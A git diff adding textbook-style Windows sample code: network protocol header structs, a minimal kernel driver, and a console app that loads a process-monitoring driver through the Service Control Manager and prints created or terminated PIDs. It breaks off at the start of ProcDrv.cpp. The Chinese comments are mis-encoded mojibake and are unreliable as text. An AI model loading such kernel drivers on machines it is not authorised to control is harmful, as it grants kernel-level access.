"b/Project/Network and Communication/\347\254\2547\347\253\240/common/protoinfo.h" new file mode 100644 index 0000000..a2e9aa7 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2547\347\253\240/common/protoinfo.h" @@ -0,0 +1,110 @@ +////////////////////////////////////////////////// +// protoinfo.hÎļþ + +/* + +¶¨ÒåЭÒé¸ñʽ +¶¨ÒåЭÒéÖÐʹÓõĺê + + */ + + +#ifndef __PROTOINFO_H__ +#define __PROTOINFO_H__ + + +#define ETHERTYPE_IP 0x0800 +#define ETHERTYPE_ARP 0x0806 + +typedef struct _ETHeader // 14×Ö½ÚµÄÒÔÌ«Í· +{ + UCHAR dhost[6]; // Ä¿µÄMACµØÖ·destination mac address + UCHAR shost[6]; // Ô´MACµØÖ·source mac address + USHORT type; // ϲãЭÒéÀàÐÍ£¬ÈçIP£¨ETHERTYPE_IP£©¡¢ARP£¨ETHERTYPE_ARP£©µÈ +} ETHeader, *PETHeader; + + +#define ARPHRD_ETHER 1 + +// ARPЭÒéopcodes +#define ARPOP_REQUEST 1 // ARP ÇëÇó +#define ARPOP_REPLY 2 // ARP ÏìÓ¦ + + +typedef struct _ARPHeader // 28×Ö½ÚµÄARPÍ· +{ + USHORT hrd; // Ó²¼þµØÖ·¿Õ¼ä£¬ÒÔÌ«ÍøÖÐΪARPHRD_ETHER + USHORT eth_type; // ÒÔÌ«ÍøÀàÐÍ£¬ETHERTYPE_IP £¿£¿ + UCHAR maclen; // MACµØÖ·µÄ³¤¶È£¬Îª6 + UCHAR iplen; // IPµØÖ·µÄ³¤¶È£¬Îª4 + USHORT opcode; // ²Ù×÷´úÂ룬ARPOP_REQUESTΪÇëÇó£¬ARPOP_REPLYΪÏìÓ¦ + UCHAR smac[6]; // Ô´MACµØÖ· + UCHAR saddr[4]; // Ô´IPµØÖ· + UCHAR dmac[6]; // Ä¿µÄMACµØÖ· + UCHAR daddr[4]; // Ä¿µÄIPµØÖ· +} ARPHeader, *PARPHeader; + + +// ЭÒé +#define PROTO_ICMP 1 +#define PROTO_IGMP 2 +#define PROTO_TCP 6 +#define PROTO_UDP 17 + +typedef struct _IPHeader // 20×Ö½ÚµÄIPÍ· +{ + UCHAR iphVerLen; // °æ±¾ºÅºÍÍ·³¤¶È£¨¸÷Õ¼4룩 + UCHAR ipTOS; // ·þÎñÀàÐÍ + USHORT ipLength; // ·â°ü×ܳ¤¶È£¬¼´Õû¸öIP±¨µÄ³¤¶È + USHORT ipID; // ·â°ü±êʶ£¬Î©Ò»±êʶ·¢Ë͵Äÿһ¸öÊý¾Ý±¨ + USHORT ipFlags; // ±êÖ¾ + UCHAR ipTTL; // Éú´æʱ¼ä£¬¾ÍÊÇTTL + UCHAR ipProtocol; // ЭÒ飬¿ÉÄÜÊÇTCP¡¢UDP¡¢ICMPµÈ + USHORT ipChecksum; // УÑéºÍ + ULONG ipSource; // Ô´IPµØÖ· + ULONG ipDestination; // Ä¿±êIPµØÖ· +} IPHeader, *PIPHeader; + + +// ¶¨ÒåTCP±êÖ¾ +#define TCP_FIN 0x01 +#define TCP_SYN 0x02 +#define TCP_RST 0x04 +#define TCP_PSH 0x08 +#define TCP_ACK 0x10 +#define TCP_URG 0x20 +#define TCP_ACE 0x40 +#define TCP_CWR 0x80 + +typedef struct _TCPHeader // 20×Ö½ÚµÄTCPÍ· +{ + USHORT sourcePort; // 16λԴ¶Ë¿ÚºÅ + USHORT destinationPort; // 16λĿµÄ¶Ë¿ÚºÅ + ULONG sequenceNumber; // 32λÐòÁкŠ+ ULONG acknowledgeNumber; // 32λȷÈϺŠ+ UCHAR dataoffset; // ¸ß4λ±íʾÊý¾ÝÆ«ÒÆ + UCHAR flags; // 6λ±ê־λ + //FIN - 0x01 + //SYN - 0x02 + //RST - 0x04 + //PUSH- 0x08 + //ACK- 0x10 + //URG- 0x20 + //ACE- 0x40 + //CWR- 0x80 + + USHORT windows; // 16λ´°¿Ú´óС + USHORT checksum; // 16λУÑéºÍ + USHORT urgentPointer; // 16λ½ô¼±Êý¾ÝÆ«ÒÆÁ¿ +} TCPHeader, *PTCPHeader; + +typedef struct _UDPHeader +{ + USHORT sourcePort; // Ô´¶Ë¿ÚºÅ + USHORT destinationPort;// Ä¿µÄ¶Ë¿ÚºÅ + USHORT len; // ·â°ü³¤¶È + USHORT checksum; // УÑéºÍ +} UDPHeader, *PUDPHeader; + +#endif // __PROTOINFO_H__ + diff --git "a/Project/Network and Communication/\347\254\2548\347\253\240/DriverDemo/Debug/DriverDemo.sys" "b/Project/Network and Communication/\347\254\2548\347\253\240/DriverDemo/Debug/DriverDemo.sys" new file mode 100644 index 0000000..842a48b Binary files /dev/null and "b/Project/Network and Communication/\347\254\2548\347\253\240/DriverDemo/Debug/DriverDemo.sys" differ diff --git "a/Project/Network and Communication/\347\254\2548\347\253\240/DriverDemo/Debug/_desktop.ini" "b/Project/Network and Communication/\347\254\2548\347\253\240/DriverDemo/Debug/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2548\347\253\240/DriverDemo/Debug/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2548\347\253\240/DriverDemo/DriverDemo.cpp" "b/Project/Network and Communication/\347\254\2548\347\253\240/DriverDemo/DriverDemo.cpp" new file mode 100644 index 0000000..2951539 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2548\347\253\240/DriverDemo/DriverDemo.cpp" @@ -0,0 +1,83 @@ +////////////////////////////////////////////////// +// DriverDemo.cppÎļþ + +//---------------------------DriverDemo.cppÎļþ--------------------------------------// +extern "C" +{ + #include +} + +// ×Ô¶¨Ò庯ÊýµÄÉùÃ÷ +NTSTATUS DispatchCreateClose(PDEVICE_OBJECT pDevObj, PIRP pIrp); +void DriverUnload(PDRIVER_OBJECT pDriverObj); + +// Çý¶¯ÄÚ²¿Ãû³ÆºÍ·ûºÅÁ¬½ÓÃû³Æ +#define DEVICE_NAME L"\\Device\\devDriverDemo" +#define LINK_NAME L"\\??\\slDriverDemo" + +// Çý¶¯³ÌÐò¼ÓÔØʱµ÷ÓÃDriverEntryÀý³Ì +NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObj, PUNICODE_STRING pRegistryString) +{ + NTSTATUS status = STATUS_SUCCESS; + + DbgPrint(" DriverDemo: DriverEntry... \n"); + + // ³õʼ»¯¸÷¸öÅÉDzÀý³Ì + pDriverObj->MajorFunction[IRP_MJ_CREATE] = DispatchCreateClose; + pDriverObj->MajorFunction[IRP_MJ_CLOSE] = DispatchCreateClose; + pDriverObj->DriverUnload = DriverUnload; + + // ´´½¨¡¢³õʼ»¯É豸¶ÔÏó + // É豸Ãû³Æ + UNICODE_STRING ustrDevName; + RtlInitUnicodeString(&ustrDevName, DEVICE_NAME); + // ´´½¨É豸¶ÔÏó + PDEVICE_OBJECT pDevObj; + status = IoCreateDevice(pDriverObj, + 0, + &ustrDevName, + FILE_DEVICE_UNKNOWN, + 0, + FALSE, + &pDevObj); + if(!NT_SUCCESS(status)) + { + return status; + } + + // ´´½¨·ûºÅÁ¬½ÓÃû³Æ + // ·ûºÅÁ¬½ÓÃû³Æ + UNICODE_STRING ustrLinkName; + RtlInitUnicodeString(&ustrLinkName, LINK_NAME); + // ´´½¨¹ØÁª + status = IoCreateSymbolicLink(&ustrLinkName, &ustrDevName); + if(!NT_SUCCESS(status)) + { + IoDeleteDevice(pDevObj); + return status; + } + return STATUS_SUCCESS; +} + +void DriverUnload(PDRIVER_OBJECT pDriverObj) +{ + DbgPrint(" DriverDemo: DriverUnload... \n"); + + // ɾ³ý·ûºÅÁ¬½ÓÃû³Æ + UNICODE_STRING strLink; + RtlInitUnicodeString(&strLink, LINK_NAME); + IoDeleteSymbolicLink(&strLink); + // ɾ³ýÉ豸¶ÔÏó + IoDeleteDevice(pDriverObj->DeviceObject); +} + +// ´¦ÀíIRP_MJ_CREATE¡¢IRP_MJ_CLOSE¹¦ÄÜ´úÂë +NTSTATUS DispatchCreateClose(PDEVICE_OBJECT pDevObj, PIRP pIrp) +{ + DbgPrint(" DriverDemo: DispatchCreateClose... \n"); + + pIrp->IoStatus.Status = STATUS_SUCCESS; + // Íê³É´ËÇëÇó + IoCompleteRequest(pIrp, IO_NO_INCREMENT); + return STATUS_SUCCESS; +} diff --git "a/Project/Network and Communication/\347\254\2548\347\253\240/DriverDemo/DriverDemo.dsp" "b/Project/Network and Communication/\347\254\2548\347\253\240/DriverDemo/DriverDemo.dsp" new file mode 100644 index 0000000..75b0342 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2548\347\253\240/DriverDemo/DriverDemo.dsp" @@ -0,0 +1,105 @@ +# Microsoft Developer Studio Project File - Name="DriverDemo" - Package Owner=<4> +# Microsoft Developer Studio Generated Build File, Format Version 6.00 +# ** DO NOT EDIT ** + +# TARGTYPE "Win32 (x86) Application" 0x0101 + +CFG=DriverDemo - Win32 Debug +!MESSAGE This is not a valid makefile. To build this project using NMAKE, +!MESSAGE use the Export Makefile command and run +!MESSAGE +!MESSAGE NMAKE /f "DriverDemo.mak". +!MESSAGE +!MESSAGE You can specify a configuration when running NMAKE +!MESSAGE by defining the macro CFG on the command line. For example: +!MESSAGE +!MESSAGE NMAKE /f "DriverDemo.mak" CFG="DriverDemo - Win32 Debug" +!MESSAGE +!MESSAGE Possible choices for configuration are: +!MESSAGE +!MESSAGE "DriverDemo - Win32 Release" (based on "Win32 (x86) Application") +!MESSAGE "DriverDemo - Win32 Debug" (based on "Win32 (x86) Application") +!MESSAGE + +# Begin Project +# PROP AllowPerConfigDependencies 0 +# PROP Scc_ProjName "" +# PROP Scc_LocalPath "" +CPP=cl.exe +MTL=midl.exe +RSC=rc.exe + +!IF "$(CFG)" == "DriverDemo - Win32 Release" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 0 +# PROP BASE Output_Dir "Release" +# PROP BASE Intermediate_Dir "Release" +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 0 +# PROP Output_Dir "Release" +# PROP Intermediate_Dir "Release" +# PROP Target_Dir "" +# ADD BASE CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /YX /FD /c +# ADD CPP /nologo /Gz /W3 /GX /Zi /Oi /I "$(ddkroot)\inc\ddk" /I "$(ddkroot)\inc" /D "WIN32" /D "NDEBUG" /D "_X86_" /D "i386" /D "STD_CALL" /D "CONDITION_HANDLING" /D "WIN32_LEAN_AND_MEAN" /D "NT_UP" /D "SRVDBG" /D "DBG" /D "_IDWBUILD" /D _WIN32_WINNT=0x0400 /YX /FD /c +# ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32 +# ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32 +# ADD BASE RSC /l 0x804 /d "NDEBUG" +# ADD RSC /l 0x804 /d "NDEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LINK32=link.exe +# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:windows /machine:I386 /out:"Release/DriverDemo.sys" +# ADD LINK32 ntoskrnl.lib hal.lib /nologo /entry:"DriverEntry" /machine:I386 /out:"Release/DriverDemo.sys" /libpath:"$(ddkroot)\libfre\i386" /libpath:"$(ddkroot)\lib\i386\free" /subsystem:native /driver + +!ELSEIF "$(CFG)" == "DriverDemo - Win32 Debug" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 1 +# PROP BASE Output_Dir "Debug" +# PROP BASE Intermediate_Dir "Debug" +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 1 +# PROP Output_Dir "Debug" +# PROP Intermediate_Dir "Debug" +# PROP Target_Dir "" +# ADD BASE CPP /nologo /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /YX /FD /GZ /c +# ADD CPP /nologo /Gz /W3 /GX /Zi /Oi /I "$(ddkroot)\inc\ddk" /I "$(ddkroot)\inc" /D "WIN32" /D "_DEBUG" /D "_X86_" /D "i386" /D "STD_CALL" /D "CONDITION_HANDLING" /D "WIN32_LEAN_AND_MEAN" /D "NT_UP" /D "SRVDBG" /D "DBG" /D "_IDWBUILD" /D _WIN32_WINNT=0x0400 /YX /FD /c +# ADD BASE MTL /nologo /D "_DEBUG" /mktyplib203 /win32 +# ADD MTL /nologo /D "_DEBUG" /mktyplib203 /win32 +# ADD BASE RSC /l 0x804 /d "_DEBUG" +# ADD RSC /l 0x804 /d "_DEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LINK32=link.exe +# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:windows /debug /machine:I386 /out:"Debug/DriverDemo.sys" /pdbtype:sept +# ADD LINK32 ntoskrnl.lib hal.lib /nologo /entry:"DriverEntry" /incremental:no /debug /machine:I386 /out:"Debug/DriverDemo.sys" /pdbtype:sept /libpath:"$(ddkroot)\libchk\i386" /libpath:"$(ddkroot)\lib\i386\checked" /subsystem:native /driver + +!ENDIF + +# Begin Target + +# Name "DriverDemo - Win32 Release" +# Name "DriverDemo - Win32 Debug" +# Begin Group "Source Files" + +# PROP Default_Filter "cpp;c;cxx;rc;def;r;odl;idl;hpj;bat" +# Begin Source File + +SOURCE=.\DriverDemo.cpp +# End Source File +# End Group +# Begin Group "Header Files" + +# PROP Default_Filter "h;hpp;hxx;hm;inl" +# End Group +# Begin Group "Resource Files" + +# PROP Default_Filter "ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe" +# End Group +# End Target +# End Project diff --git "a/Project/Network and Communication/\347\254\2548\347\253\240/DriverDemo/DriverDemo.dsw" "b/Project/Network and Communication/\347\254\2548\347\253\240/DriverDemo/DriverDemo.dsw" new file mode 100644 index 0000000..2a2214b --- /dev/null +++ "b/Project/Network and Communication/\347\254\2548\347\253\240/DriverDemo/DriverDemo.dsw" @@ -0,0 +1,29 @@ +Microsoft Developer Studio Workspace File, Format Version 6.00 +# WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE! + +############################################################################### + +Project: "DriverDemo"=".\DriverDemo.dsp" - Package Owner=<4> + +Package=<5> +{{{ +}}} + +Package=<4> +{{{ +}}} + +############################################################################### + +Global: + +Package=<5> +{{{ +}}} + +Package=<3> +{{{ +}}} + +############################################################################### + diff --git "a/Project/Network and Communication/\347\254\2548\347\253\240/DriverDemo/_desktop.ini" "b/Project/Network and Communication/\347\254\2548\347\253\240/DriverDemo/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2548\347\253\240/DriverDemo/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2548\347\253\240/ProcApp/Debug/ProcApp.exe" "b/Project/Network and Communication/\347\254\2548\347\253\240/ProcApp/Debug/ProcApp.exe" new file mode 100644 index 0000000..8d45a6d Binary files /dev/null and "b/Project/Network and Communication/\347\254\2548\347\253\240/ProcApp/Debug/ProcApp.exe" differ diff --git "a/Project/Network and Communication/\347\254\2548\347\253\240/ProcApp/Debug/ProcDrv.sys" "b/Project/Network and Communication/\347\254\2548\347\253\240/ProcApp/Debug/ProcDrv.sys" new file mode 100644 index 0000000..bf6f3c2 Binary files /dev/null and "b/Project/Network and Communication/\347\254\2548\347\253\240/ProcApp/Debug/ProcDrv.sys" differ diff --git "a/Project/Network and Communication/\347\254\2548\347\253\240/ProcApp/Debug/_desktop.ini" "b/Project/Network and Communication/\347\254\2548\347\253\240/ProcApp/Debug/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2548\347\253\240/ProcApp/Debug/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2548\347\253\240/ProcApp/ProcApp.cpp" "b/Project/Network and Communication/\347\254\2548\347\253\240/ProcApp/ProcApp.cpp" new file mode 100644 index 0000000..89ee61e --- /dev/null +++ "b/Project/Network and Communication/\347\254\2548\347\253\240/ProcApp/ProcApp.cpp" @@ -0,0 +1,114 @@ +////////////////////////////////////////////////////////// +// ProcApp.cppÎļþ + + +#include +#include +#include +#include "ProcDrv.h" + +int main() +{ + // »ñÈ¡Çý¶¯Çý¶¯³ÌÐòProcDrv.sysµÄÍêÕûĿ¼ + // ×¢Ò⣬ÄúÓ¦¸Ã½«ProcDrv¹¤³Ì±àÒë²úÉúµÄProcDrv.sysÎļþ¸´ÖƵ½µ±Ç°¹¤³ÌĿ¼Ï + char szDriverPath[256]; + char szLinkName[] = "slNTProcDrv"; + char* p; + ::GetFullPathName("ProcDrv.sys", 256, szDriverPath, &p); + + + // ´ò¿ªSCM¹ÜÀíÆ÷ + SC_HANDLE hSCM = ::OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); + if(hSCM == NULL) + { + printf(" ´ò¿ª·þÎñ¿ØÖƹÜÀíÆ÷ʧ°Ü£¬¿ÉÄÜÊÇÒòΪÄú²»ÓµÓÐAdministratorȨÏÞ\n"); + return -1; + } + + // ´´½¨»ò´ò¿ª·þÎñ + SC_HANDLE hService = ::CreateService(hSCM, szLinkName, szLinkName, SERVICE_ALL_ACCESS, + SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL, + szDriverPath, NULL, 0, NULL, NULL, NULL); + if(hService == NULL) + { + int nError = ::GetLastError(); + if(nError == ERROR_SERVICE_EXISTS || nError == ERROR_SERVICE_MARKED_FOR_DELETE) + { + hService = ::OpenService(hSCM, szLinkName, SERVICE_ALL_ACCESS); + } + } + if(hService == NULL) + { + printf(" ´´½¨·þÎñ³ö´í£¡\n"); + return -1; + } + // Æô¶¯·þÎñ + if(!::StartService(hService, 0, NULL)) // ÕâÀïµ÷ÓÃDriverEntryÀý³Ì + { + int nError = ::GetLastError(); + if(nError != ERROR_SERVICE_ALREADY_RUNNING) + { + printf(" Æô¶¯·þÎñ³ö´í£¡%d \n", nError); + return -1; + } + } + + + // ´ò¿ªµ½Çý¶¯³ÌÐòËù¿ØÖÆÉ豸µÄ¾ä±ú + char sz[256] = ""; + wsprintf(sz, "\\\\.\\%s", szLinkName); + HANDLE hDriver = ::CreateFile(sz, + GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if(hDriver == INVALID_HANDLE_VALUE) + { + printf(" ´ò¿ªÉ豸ʧ°Ü£¡ \n"); + return -1; + } + + // ´ò¿ªÊ¼þÄں˶ÔÏ󣬵ȴýÇý¶¯³ÌÐòµÄʼþ֪ͨ + HANDLE hProcessEvent = ::OpenEvent(SYNCHRONIZE, FALSE, "NTProcDrvProcessEvent"); + CALLBACK_INFO callbackInfo, callbackTemp = { 0 }; + while(::WaitForSingleObject(hProcessEvent, INFINITE) == WAIT_OBJECT_0) + { + // ÏòÇý¶¯³ÌÐò·¢ËÍ¿ØÖÆ´úÂë + DWORD nBytesReturn; + BOOL bRet = ::DeviceIoControl(hDriver, IOCTL_NTPROCDRV_GET_PROCINFO, + NULL, 0, &callbackInfo, sizeof(callbackInfo), &nBytesReturn, NULL); + if(bRet) + { + if(callbackInfo.hParentId != callbackTemp.hParentId + || callbackInfo.hProcessId != callbackTemp.hProcessId + || callbackInfo.bCreate != callbackTemp.bCreate) + { + if(callbackInfo.bCreate) + { + printf(" Óнø³Ì±»´´½¨£¬PID: %d \n", callbackInfo.hProcessId); + } + else + { + printf(" Óнø³Ì±»ÖÕÖ¹£¬PID: %d \n", callbackInfo.hProcessId); + } + + callbackTemp = callbackInfo; + } + // break; + } + else + { + printf(" »ñÈ¡½ø³ÌÐÅϢʧ°Ü£¡\n"); + break; + } + + } + + ::CloseHandle(hDriver); + + // µÈ´ý·þÎñÍêÈ«Í£Ö¹ÔËÐÐ + SERVICE_STATUS ss; + ::ControlService(hService, SERVICE_CONTROL_STOP, &ss); + // ´ÓSCMÊý¾Ý¿âÖÐɾ³ý·þÎñ + ::DeleteService(hService); + ::CloseServiceHandle(hService); + ::CloseServiceHandle(hSCM); + return 0; +} \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2548\347\253\240/ProcApp/ProcApp.dsp" "b/Project/Network and Communication/\347\254\2548\347\253\240/ProcApp/ProcApp.dsp" new file mode 100644 index 0000000..12ebe02 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2548\347\253\240/ProcApp/ProcApp.dsp" @@ -0,0 +1,100 @@ +# Microsoft Developer Studio Project File - Name="ProcApp" - Package Owner=<4> +# Microsoft Developer Studio Generated Build File, Format Version 6.00 +# ** DO NOT EDIT ** + +# TARGTYPE "Win32 (x86) Console Application" 0x0103 + +CFG=ProcApp - Win32 Debug +!MESSAGE This is not a valid makefile. To build this project using NMAKE, +!MESSAGE use the Export Makefile command and run +!MESSAGE +!MESSAGE NMAKE /f "ProcApp.mak". +!MESSAGE +!MESSAGE You can specify a configuration when running NMAKE +!MESSAGE by defining the macro CFG on the command line. For example: +!MESSAGE +!MESSAGE NMAKE /f "ProcApp.mak" CFG="ProcApp - Win32 Debug" +!MESSAGE +!MESSAGE Possible choices for configuration are: +!MESSAGE +!MESSAGE "ProcApp - Win32 Release" (based on "Win32 (x86) Console Application") +!MESSAGE "ProcApp - Win32 Debug" (based on "Win32 (x86) Console Application") +!MESSAGE + +# Begin Project +# PROP AllowPerConfigDependencies 0 +# PROP Scc_ProjName "" +# PROP Scc_LocalPath "" +CPP=cl.exe +RSC=rc.exe + +!IF "$(CFG)" == "ProcApp - Win32 Release" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 0 +# PROP BASE Output_Dir "Release" +# PROP BASE Intermediate_Dir "Release" +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 0 +# PROP Output_Dir "Release" +# PROP Intermediate_Dir "Release" +# PROP Target_Dir "" +# ADD BASE CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /c +# ADD CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /c +# ADD BASE RSC /l 0x804 /d "NDEBUG" +# ADD RSC /l 0x804 /d "NDEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LINK32=link.exe +# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /machine:I386 +# ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /machine:I386 + +!ELSEIF "$(CFG)" == "ProcApp - Win32 Debug" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 1 +# PROP BASE Output_Dir "Debug" +# PROP BASE Intermediate_Dir "Debug" +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 1 +# PROP Output_Dir "Debug" +# PROP Intermediate_Dir "Debug" +# PROP Target_Dir "" +# ADD BASE CPP /nologo /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /GZ /c +# ADD CPP /nologo /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /GZ /c +# ADD BASE RSC /l 0x804 /d "_DEBUG" +# ADD RSC /l 0x804 /d "_DEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LINK32=link.exe +# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /debug /machine:I386 /pdbtype:sept +# ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /debug /machine:I386 /pdbtype:sept + +!ENDIF + +# Begin Target + +# Name "ProcApp - Win32 Release" +# Name "ProcApp - Win32 Debug" +# Begin Group "Source Files" + +# PROP Default_Filter "cpp;c;cxx;rc;def;r;odl;idl;hpj;bat" +# Begin Source File + +SOURCE=.\ProcApp.cpp +# End Source File +# End Group +# Begin Group "Header Files" + +# PROP Default_Filter "h;hpp;hxx;hm;inl" +# End Group +# Begin Group "Resource Files" + +# PROP Default_Filter "ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe" +# End Group +# End Target +# End Project diff --git "a/Project/Network and Communication/\347\254\2548\347\253\240/ProcApp/ProcApp.dsw" "b/Project/Network and Communication/\347\254\2548\347\253\240/ProcApp/ProcApp.dsw" new file mode 100644 index 0000000..e25938b --- /dev/null +++ "b/Project/Network and Communication/\347\254\2548\347\253\240/ProcApp/ProcApp.dsw" @@ -0,0 +1,29 @@ +Microsoft Developer Studio Workspace File, Format Version 6.00 +# WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE! + +############################################################################### + +Project: "ProcApp"=.\ProcApp.dsp - Package Owner=<4> + +Package=<5> +{{{ +}}} + +Package=<4> +{{{ +}}} + +############################################################################### + +Global: + +Package=<5> +{{{ +}}} + +Package=<3> +{{{ +}}} + +############################################################################### + diff --git "a/Project/Network and Communication/\347\254\2548\347\253\240/ProcApp/ProcDrv.h" "b/Project/Network and Communication/\347\254\2548\347\253\240/ProcApp/ProcDrv.h" new file mode 100644 index 0000000..fd1b775 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2548\347\253\240/ProcApp/ProcDrv.h" @@ -0,0 +1,16 @@ +//////////////////////////////////////////////// +// ProcDrv.hÎļþ + + +#define IOCTL_NTPROCDRV_GET_PROCINFO CTL_CODE(FILE_DEVICE_UNKNOWN, \ + 0x0800, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) + + + +// Óû§ÓëÄں˽»»¥µÄ»º³åÇø¸ñʽ£¬Õâ¸ö½á¹¹ÏòÓû§³ÌÐò·µ»Ø½ø³ÌÐÅÏ¢ +typedef struct _CallbackInfo +{ + HANDLE hParentId; + HANDLE hProcessId; + BOOLEAN bCreate; +}CALLBACK_INFO, *PCALLBACK_INFO; \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2548\347\253\240/ProcApp/ProcDrv.sys" "b/Project/Network and Communication/\347\254\2548\347\253\240/ProcApp/ProcDrv.sys" new file mode 100644 index 0000000..bf6f3c2 Binary files /dev/null and "b/Project/Network and Communication/\347\254\2548\347\253\240/ProcApp/ProcDrv.sys" differ diff --git "a/Project/Network and Communication/\347\254\2548\347\253\240/ProcApp/_desktop.ini" "b/Project/Network and Communication/\347\254\2548\347\253\240/ProcApp/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2548\347\253\240/ProcApp/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2548\347\253\240/ProcDrv/Debug/ProcDrv.sys" "b/Project/Network and Communication/\347\254\2548\347\253\240/ProcDrv/Debug/ProcDrv.sys" new file mode 100644 index 0000000..bf6f3c2 Binary files /dev/null and "b/Project/Network and Communication/\347\254\2548\347\253\240/ProcDrv/Debug/ProcDrv.sys" differ diff --git "a/Project/Network and Communication/\347\254\2548\347\253\240/ProcDrv/Debug/_desktop.ini" "b/Project/Network and Communication/\347\254\2548\347\253\240/ProcDrv/Debug/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2548\347\253\240/ProcDrv/Debug/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2548\347\253\240/ProcDrv/ProcDrv.cpp" "b/Project/Network and Communication/\347\254\2548\347\253\240/ProcDrv/ProcDrv.cpp" new file mode 100644 index 0000000..346f5ae --- /dev/null +++ "b/Project/Network and Communication/\347\254\2548\347\253\240/ProcDrv/ProcDrv.cpp" @@ -0,0 +1,188 @@ +////////////////////////////////////////////////// +// ProcDrv.cppÎļþ + + +extern "C" +{ + #include +} +#include +#include "ProcDrv.h" + +// 